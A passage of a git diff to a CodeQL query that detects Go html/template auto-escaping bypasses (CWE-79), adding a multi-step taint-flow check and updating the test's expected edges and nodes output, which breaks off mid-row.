isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) { * A taint-tracking configuration for reasoning about when an UntrustedFlowSource * flows into a template executor call. */ -class TemplateExecutionFlowConf extends TaintTracking::Configuration { - TemplateExecutionFlowConf() { this = "TemplateExecutionFlowConf" } +class FlowConfFromUntrustedToTemplateExecutionCall extends TaintTracking::Configuration { + FlowConfFromUntrustedToTemplateExecutionCall() { + this = "FlowConfFromUntrustedToTemplateExecutionCall" + } override predicate isSource(DataFlow::Node source) { source instanceof UntrustedFlowSource } override predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) } } +private class DummySource extends UntrustedFlowSource::Range { + DummySource() { + exists(Function fn, DataFlow::CallNode call | fn.hasQualifiedName(_, "source") | + call = fn.getACall() and + this = call.getResult() + ) + } +} + +/** + * Holds if the provided `conversion` node flows into the provided `execSink`. + */ +predicate flowsFromUntrustedToExec(DataFlow::PathNode untrusted, DataFlow::PathNode execSink) { + exists(FlowConfFromUntrustedToTemplateExecutionCall cfg | cfg.hasFlowPath(untrusted, execSink)) +} + from - TemplateExecutionFlowConf cfg, DataFlow::PathNode untrustedSource, - DataFlow::PathNode tplExecutionSink, string targetTypeName, DataFlow::PathNode conversionSink + DataFlow::PathNode untrustedSource, DataFlow::PathNode tplExecCall, string targetTypeName, + DataFlow::PathNode conversionSink where - cfg.hasFlowPath(untrustedSource, tplExecutionSink) and - isConvertedToPassthroughType(untrustedSource.getNode(), targetTypeName, conversionSink) -select tplExecutionSink.getNode(), untrustedSource, tplExecutionSink, + // A = remoteflowsource + // B = conversion to PassthroughType + // C = template execution + // Flows: + // A -> B + flowsFromUntrustedToConversion(untrustedSource.getNode(), targetTypeName, conversionSink) and + // B -> C + flowsFromConversionToExec(conversionSink.getNode(), targetTypeName, tplExecCall) and + // A -> C + flowsFromUntrustedToExec(untrustedSource, tplExecCall) +select tplExecCall.getNode(), untrustedSource, tplExecCall, "Data from an $@ will not be auto-escaped because it was $@ to template." + targetTypeName, untrustedSource.getNode(), "untrusted source", conversionSink.getNode(), "converted" diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go index 5af85e824aa..3c0a8ad4eb4 100755 --- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go @@ -9,7 +9,7 @@ import ( func good() { tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`) { // This will be escaped: - var caught = source(`link`) - checkError(tmpl.Execute(os.Stdout, caught)) + var escaped = source(`link`) + checkError(tmpl.Execute(os.Stdout, escaped)) } } diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected index 5a0447e6fd4..ea27a9e9f78 100644 --- a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected +++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected @@ -1,80 +1,266 @@ edges +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion | | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | | HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion | | HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | | HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion | | HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | | HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion | | HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | | HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion | | HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | | HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion | | HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | | HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion | | HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | | HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion | | HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | -| HTMLTemplateEscapingPassthrough.go:74:16:74:30 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:75:38:75:43 | caught | nodes | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string | semmle.label | type conversion : string | | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML | | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string | semmle.label | type conversion : string | | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML | | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string | semmle.label | type conversion : string | | HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr | | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string | semmle.label | type conversion : string | | HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS | | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string | semmle.label | type conversion : string | | HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr | | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string | semmle.label | type conversion : string | | HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS | | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string | semmle.label | type conversion : string | | HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset | +| 